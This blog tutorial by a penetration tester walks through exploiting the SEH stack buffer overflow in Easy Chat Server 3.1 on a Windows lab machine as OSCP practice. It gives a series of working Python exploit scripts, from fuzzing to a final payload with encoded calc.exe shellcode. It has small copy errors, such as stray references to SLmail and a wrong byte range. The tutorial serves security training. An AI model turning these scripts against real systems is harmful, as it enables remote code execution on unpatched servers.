Discover Buffer Overflow - Easy Chat Server ready for OSCP

Buffer Overflow - Understanding the Easy Chat Server 3.1

Explore the buffer overflow vulnerability in Easy Chat Server 3.1. Gain insights into this security issue and how to successfully these mitigate risks.

Craig Underhill
Craig Underhill
Penetration Tester
May 05, 2020

I'm going to be cover how to exploit the Easy Chat Server 3.1 Stack buffer overflow vulnerability on a Windows 7 32 bit virtual machine. This is perfect practice for anyone that is in the process of, or prepping for the PWK labs/OSCP exam!

Prerequisites

Step 1: Install Prerequisite Software

  • Install Immunity Debugger and Python 2.7, these can both be installed through the Immunity Debugger installation wizard.
  • Place mona.py into the folder:C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
  • Set up the mona working directory logging within Immunity Debugger: !mona config -set workingfolder c:\logs\%p
  • Install Easy Chat Server 3.1 through the executable installation wizard, accepting all the set defaults then select try it!.

Step 2: Start the Easy Chat Server

Once we have installed Easy Chat Server through the installation wizard, we can start the chat server by executing the application. You will see the application pop up, and if you look at the bottom left of the application, you will see that the chat server is online.

Step 3: Access the Easy Chat Server

To access the chat server itself, we need to browse to 127.0.0.1. You will see from the main page that there are several chat rooms already created, to access the chat rooms as an admin, we can use the default credentials of the admin account, admin:admin.

Enter one of the chats and you'll see that the URL looks something like this: http://127.0.0.1/chat.ghp?username=admin&password=admin&room=1&sex=2

Step 4: Testing the username parameter manually

We know that the username parameter is the exploitable parameter for the buffer overflow, so lets test this manually first before creating fuzzing scripts etc to finds the exact overflow location.

Copy the URL of the chatroom and return to the main chat server page. Paste the URL into the search bar and press enter. You will see this error: This username has logged on, please select another username!

Change the username parameter from username=admin to multiple A characters like so username=AAAAAAAAAAAAAAAAAA, keep increasing the number of A characters until finally, you will see that the Easy Chat Server crashes and has stopped working.

We have now confirmed that the username parameter is vulnerable manually.

Step 5: Start Easy Chat Server within Immunity Debugger

Before we attempt to exploit the Chat Server, we need to setup Immunity Debugger with the Chat Server application on the Windows VM.

By starting the Chat Server within Immunity, it allows us to see vital information that help us to exploit the buffer overflow vulnerability.

  • Open Immunity Debugger with Run as administrator
  • Click file then attach
  • Locate EasyChatand then click attach.

Process List

  • To start EasyChat.exe within Immunity Debugger, press the play icon or F9.

Step 6: Fuzz the application

We can now start to create our buffer overflow exploit by fuzzing the username parameter with a python script.

The python script below, 01-fuzzing.py will fuzz the username parameter of the chat server by continuously increasing the characters in increments of 50 until the application crashes.

For the script to give us the estimated location of the crash, we will need to manually close the application once it does crash, the script will then give us the estimated crash location.

#!/usr/bin/python

import socket 
import sys
from time import sleep

target_ip = '127.0.0.1'
target_port = 80

fuzz = 'A' * 50

buffer = 'GET /chat.ghp?username=' + fuzz + '&password=test&room=1&sex=1 HTTP/1.1\r\n\r\n'
buffer += 'Host: 127.0.0.1\r\n\r\n'  

while True:
  try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(2)
    s.connect((target_ip,target_port))
    print '[*] Fuzzing username with buffer length: ' + str(len(fuzz))
    s.send(buffer)
    s.close()
    sleep (2)
    buffer = 'GET /chat.ghp?username=' + fuzz + '&password=test&room=1&sex=2 HTTP/1.1\r\n'
    buffer += 'Host: 127.0.0.1\r\n\r\n'
    fuzz += 'A' * 50 
    
  except:
    print '[*] Crash occurred at buffer length: ' + str(len(fuzz)-50)
    sys.exit()

Run the script from the Windows command line:

C:\Python27\ python.exe 01-fuzzing.py

Once the program crashes, and we close it manually, the fuzzing script gives us this output whichi indicates the crash happens between 201 and 250 bytes:

[*] Fuzzing username with buffer length: 50
[*] Fuzzing username with buffer length: 100
[*] Fuzzing username with buffer length: 150
[*] Fuzzing username with buffer length: 200                                     
[*] Fuzzing username with buffer length: 250
[*] Crash occurred at buffer length: 250

When looking at Immunity Debugger, We can see from the bottom of the Immunity application that we have we have created an access violation and that the SEH chain of thread has our 41414141 corrupt entry in it.

Immunity Debugger

Adress

If we pass the exception to the program with Shift+F9 it shows that we have successfully overflowed the buffer into the EIP address space with our A characters, 41414141 is hexadecimal for 4 A characters.

Step 7: Find the EIP register offset

EIP is the Extended instruction pointer for the stack, it tells the computer where to go next to execute the next command and controls the flow of an application. The goal is to overwrite the EIP with a memory address that directs the application to malicious code. To do this, we need to find out exactly how many characters it takes to reach the EIP without overwriting it.

This is where mona.py comes into play. Mona is a plugin for Immunity Debugger that can help us exploit the SLmail application.

We will use Mona to create a unique string of characters to determine the exact offset to the EIP register, and as we know that the application crashes between 2501 and 3000 bytes, lets create a pattern of 3000 bytes inside Immunity Debugger:

!mona pc 300

This will create a text file inside the folder c:\logs\EasyChat\ called pattern with the 300 unique character pattern inside:

Pattern

We will now copy the 01-fuzzing.py script and make a new script called 02-finding_eip_offset.py and replace the buffer of A characters with the Hex pattern created by Mona.

#!/usr/bin/python

import socket 

target_ip = '127.0.0.1'
target_port = 80

pattern = ("\x41\x61\x30\x41\x61\x31\x41\x61\x32\x41\x61\x33\x41\x61\x34\x41\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35\x41\x62\x36\x41\x62\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41\x63\x31\x41\x63\x32\x41\x63\x33\x41\x63\x34\x41\x63\x35\x41\x63\x36\x41\x63\x37\x41\x63\x38\x41\x63\x39\x41\x64\x30\x41\x64\x31\x41\x64\x32\x41\x64\x33\x41\x64\x34\x41\x64\x35\x41\x64\x36\x41\x64\x37\x41\x64\x38\x41\x64\x39\x41\x65\x30\x41\x65\x31\x41\x65\x32\x41\x65\x33\x41\x65\x34\x41\x65\x35\x41\x65\x36\x41\x65\x37\x41\x65\x38\x41\x65\x39\x41\x66\x30\x41\x66\x31\x41\x66\x32\x41\x66\x33\x41\x66\x34\x41\x66\x35\x41\x66\x36\x41\x66\x37\x41\x66\x38\x41\x66\x39\x41\x67\x30\x41\x67\x31\x41\x67\x32\x41\x67\x33\x41\x67\x34\x41\x67\x35\x41\x67\x36\x41\x67\x37\x41\x67\x38\x41\x67\x39\x41\x68\x30\x41\x68\x31\x41\x68\x32\x41\x68\x33\x41\x68\x34\x41\x68\x35\x41\x68\x36\x41\x68\x37\x41\x68\x38\x41\x68\x39\x41\x69\x30\x41\x69\x31\x41\x69\x32\x41\x69\x33\x41\x69\x34\x41\x69\x35\x41\x69\x36\x41\x69\x37\x41\x69\x38\x41\x69\x39\x41\x6a\x30\x41\x6a\x31\x41\x6a\x32\x41\x6a\x33\x41\x6a\x34\x41\x6a\x35\x41\x6a\x36\x41\x6a\x37\x41\x6a\x38\x41\x6a\x39")

buffer = 'GET /chat.ghp?username=' + pattern + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host:127.0.0.1\r\n\r\n'  

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()

Start EasyChat.exe inside Immunity Debugger and run the newly created script, then run the script from the Windows command line:

C:\Python27\ python.exe 02-finding_eip_offset.py

Again we get an access violation message displayed on the bottom status bar, but more importantly, if we press shift + F9 we will see that instead of 41414141 as the EIP value, we have 68413368.

Registers

We can now utilise Mona to find the exact EIP register offset value with the pattern offset command:

!mona po 68413368

And as you can see from the Mona output, the exact EIP register offset value is 220

Mona

Step 8: Control the EIP register

To make sure that the offset given from Mona of 220 is correct, we can confirm that we have control of the EIP register by copying the 02-finding_eip_offset.py script and creating a new script, 03-control_eip.py.

We will modify it so that instead of containing the mona pattern as the buffer, it will contain 220 A characters and 4 B characters meaning when we run the new script, we should see that in Immunity Debugger, once we input shift+F9 the EIP value is 42424242 which is Hexadecimal for 4 B characters, confirming that we have control over the EIP register.

#!/usr/bin/python

import socket 

target_ip = '127.0.0.1'
target_port = 80

eip_confirm = 'A' * 220 + 'B' * 4 + 'C' * 100

buffer = 'GET /chat.ghp?username=' + eip_confirm + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host:127.0.0.1\r\n\r\n'  

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()

... And just like that, another access violation in Immunity, with the EIP value of 42424242 just like we wanted!

Immunity Register

Step 9: Finding a module with no SafeSEH

Because we have had to use shift+F9 to pass the access vilation to the program, we need to find a module that is not using SafeSEH and place the address of the module in the location of where the SEH handler gets triggered.

We will use mona to find modules that are not using SafeSEH:

!mona nosafeseh

Mona nosafeseh

From the output above, we can see that there are 3 modules that are not using SafeSEH. I'm going to attempt to use the first module, C:\Program Files\Easy Chat Server\SSLEAY32.dllSSLEAY32.dll.

We can view the module in more detail:

View > Executable Modules > `C:\Program Files\Easy Chat Server\SSLEAY32.dll

Step 10: POP, POP, RETN

Now that we are inside the module, we need to search for a viable POP, POP, RETN sequence.

Here is an explanation as to why we need a to find a POP, POP, RETN sequence:

POP POP RET is a sequence of instructions needed in order to create SEH 
(Structured Exception Handler) exploits. The registers to which the popped values 
go are not important for the exploits to succeed, only the fact that ESP is moved 
towards higher addresses twice and then a RET is executed. Thus, either POP EAX, 
POP EBX, RET, or POP ECX, POP ECX, RET or POP EDX, POP EAX, RET (and so on) will do.

Each time a POP <register> occurs, ESP is moved towards higher addresses by one
position (1 position = 4 bytes for a 32-bit architecture). Each time a RET occurs,
the contents of the address ESP points at are put in EIP and executed.

In order to create successful SEH exploits, the address of a POP POP RET sequence 
has to be found. This will enable the attacker to move ESP towards higher addresses 
twice and then transfer execution at the address where ESP points at.

Check out the full post on the purpose of the POP, POP, RETN instruction sequence

Now that we have an understanding of why we need such a sequence, it is time to find one within the SSLEAY32.dll module. We can use the Immunity search function to find a sequence of commands:

Right click the CPU window (Top Left) > Search for > Sequence of commands

Find Commands

Note that we have added, r32 to the command, this is shorthand for any 32 bit register, we select any 32 bit register as we are not concerned as to where our data is popped.

Immunity finds this valid instruction sequence starting from 10011FAC:

Immunity Search

We can now edit our exploit script to include the POP, POP, RETN address and an interrupt breakpoint of 4 bytes, which will be taken from our offset total number. Create a new script and call it 04-seh.py

#!/usr/bin/python

import socket 

target_ip = '127.0.0.1'
target_port = 80

exploit = '\x41' * 216 # offset minus 4 bytes
exploit += '\xCC\xCC\xCC\xCC' # interrupt breakpoint
exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location
exploit += '\x42' * 30 # B chars as junk 

buffer = 'GET /chat.ghp?username=' + exploit + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host:127.0.0.1\r\n\r\n'  

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()

Run the script from the Windows command line:

C:\Python27\ python.exe 04-seh.py

We will see again that we have an access violation, and if we check the SEH chain, we can see we have the correct Module address, with the overwrite being set correctly.

SEH Chain

If we press shift+F9 to pass the exception to the program, we can see that we have stepped through the POP, POP, RETN to the interrupts, confirming that we have control of the execution.

Interrupts

The exploit payload can be seen clearly here with the A characters being followed by the interrupt then the POP, POP, RETN then the B junk bytes:

Payloads

Step 11: Rootin' out those bad characters

Not all hexadecimal characters can be used in shellcode. For example characters like /x00, a null byte are used to indicate the end of a string, meaning if they are in your shellcode payload, it would cut off the string at that point, meaning our payload will not be fully executed. Other bad characters vary from application to application, so it is important to check for them on every application.

We can use the follow in dump function to clearly show the buffer variable contents and spot any characters that are out of place and need excluding from our shellcode.

Lets create a new script, 05-finding_bad_chars.py and add a new variable, badchars which will contain every hexadecimal character except \x00, \x20, \x0a, \x0d as these will be bad charaters due to the exploit being a GET request and will replace the junk B characters from the exploit variable.

We will also remove the interrupt and add a jump of 8 bytes so that the application can jump over where we landed and some NOPS to help distinguish the list of hex characters:

#!/usr/bin/python

import socket 

target_ip = '127.0.0.1'
target_port = 80

exploit = '\x41' * 216 # offset minus 4 bytes
exploit += '\xEB\x06\x90\x90' # jump 8 bytes
exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location

nops = '\x90' * 16 # NOP sled 

bad_chars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11" +
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" +
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" +
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e" +
"\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d" +
"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c" +
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b" +
"\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a" +
"\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89" +
"\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7" +
"\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6" +
"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5" +
"\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4" +
"\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3" +
"\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2" +
"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


buffer = 'GET /chat.ghp?username=' + exploit + nops + bad_chars + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host:127.0.0.1\r\n\r\n'  

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()

Run the script from the Windows command line:

C:\Python27\ python.exe 05-finding_bad_chars.py

We can see from the Immunity output that there no more bad characters in the application!

Immunity Bad Chars

Step 12: Overflow exploit... ASSEMBLE!

  • Do we control the EIP register? Yes!
  • Have we found a suitable no SafeSEH module? Yes!

This means we are finally at the point where we can assemble our exploitation script with a few tweaks from the previous script:

  • Remove the badchars variable
  • Merge the nops variable into the exploit variable
  • Add a new variable called shellcode - This will be a windows calc.exe POC payload.

Lets create the final python script, 06-final_exploit.py

#!/usr/bin/python

import socket 

target_ip = '127.0.0.1'
target_port = 80

exploit = '\x90' * 216 # offset minus 4 bytes
exploit += '\xEB\x06\x90\x90' # jump 8 bytes
exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location
exploit += '\x90' * 16 # NOP sled 

shellcode = "\x89\xe6\xdb\xc2\xd9\x76\xf4\x59\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
shellcode += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
shellcode += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
shellcode += "\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x6a\x69\x61\x59"
shellcode += "\x46\x51\x6b\x62\x6d\x33\x32\x67\x33\x62\x51\x78\x73"
shellcode += "\x53\x51\x71\x70\x6c\x43\x53\x4d\x59\x4a\x46\x43\x62"
shellcode += "\x42\x76\x55\x34\x6e\x6b\x74\x32\x34\x70\x4e\x6b\x72"
shellcode += "\x56\x34\x4c\x4c\x4b\x51\x66\x36\x6c\x6e\x4d\x4e\x6b"
shellcode += "\x56\x50\x4c\x4b\x53\x4e\x62\x38\x4e\x6b\x73\x6f\x47"
shellcode += "\x4c\x6c\x4b\x51\x4c\x45\x4f\x63\x48\x4c\x4b\x74\x34"
shellcode += "\x55\x4f\x61\x30\x55\x51\x69\x6e\x6e\x6b\x62\x6c\x35"
shellcode += "\x4f\x76\x44\x65\x51\x69\x69\x34\x4f\x68\x37\x44\x6c"
shellcode += "\x63\x61\x71\x52\x4e\x4d\x6b\x31\x57\x4c\x73\x37\x51"
shellcode += "\x47\x45\x39\x70\x6e\x32\x65\x50\x75\x39\x61\x4c\x4b"
shellcode += "\x32\x54\x67\x6f\x67\x6c\x33\x31\x69\x6e\x43\x33\x37"
shellcode += "\x4c\x4c\x6e\x4b\x4f\x4a\x77\x31\x7a\x65\x30\x51\x4a"
shellcode += "\x35\x38\x43\x53\x30\x61\x72\x4c\x30\x63\x52\x74\x30"
shellcode += "\x59\x73\x78\x6e\x63\x68\x6c\x71\x38\x62\x45\x72\x68"
shellcode += "\x4e\x6b\x70\x32\x62\x68\x4e\x6b\x34\x36\x57\x68\x52"
shellcode += "\x68\x4e\x6b\x61\x66\x46\x70\x50\x48\x6e\x4d\x57\x38"
shellcode += "\x4c\x4b\x34\x70\x43\x78\x4c\x4b\x31\x6e\x66\x50\x34"
shellcode += "\x43\x70\x57\x37\x4c\x6e\x6b\x33\x6c\x46\x77\x61\x38"
shellcode += "\x6e\x6b\x44\x34\x35\x4f\x37\x50\x71\x58\x45\x51\x4b"
shellcode += "\x4e\x6c\x4b\x56\x34\x67\x6f\x56\x44\x66\x6f\x6d\x67"
shellcode += "\x36\x4c\x76\x77\x4c\x4d\x53\x62\x56\x62\x4e\x4d\x4d"
shellcode += "\x51\x35\x6c\x37\x77\x61\x47\x32\x49\x52\x4e\x37\x35"
shellcode += "\x52\x55\x58\x6f\x6e\x6b\x74\x34\x67\x6f\x57\x6c\x70"
shellcode += "\x48\x57\x71\x39\x6e\x4e\x6b\x35\x64\x6c\x6e\x33\x78"
shellcode += "\x63\x31\x4a\x57\x6a\x39\x69\x6f\x49\x47\x41\x41"


buffer = 'GET /chat.ghp?username=' + exploit + shellcode + '&password=test&room=1&sex=1 HTTP/1.1\r\n'
buffer += 'Host: 127.0.0.1\r\n\r\n'  

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target_ip,target_port))
s.send(buffer + '\r\n\r\n')
s.close()

Run the script from the Windows command line:

C:\Python27\ python.exe 06-final_exploit.py

Pass the exception to the program, shift+F9 and we get our calculator pop up, indicating that we have successfully exploited the buffer overflow vulnerability!

Successfull Exploit

Conclusion

And that is how you exploit the buffer overflow vulnerability in Easy Chat Server 3.1!

If you have any questions, find me on twitter (@CraigUnder) or drop me an email at craig.underhill@onsecurity.co.uk

More recommended articles

© 2024 ONSECURITY TECHNOLOGY LIMITED (company registered in England and Wales. Registered number: 14184026 Registered office: Runway East, 101 Victoria Street, Bristol, England, BS1 6PU). All rights reserved.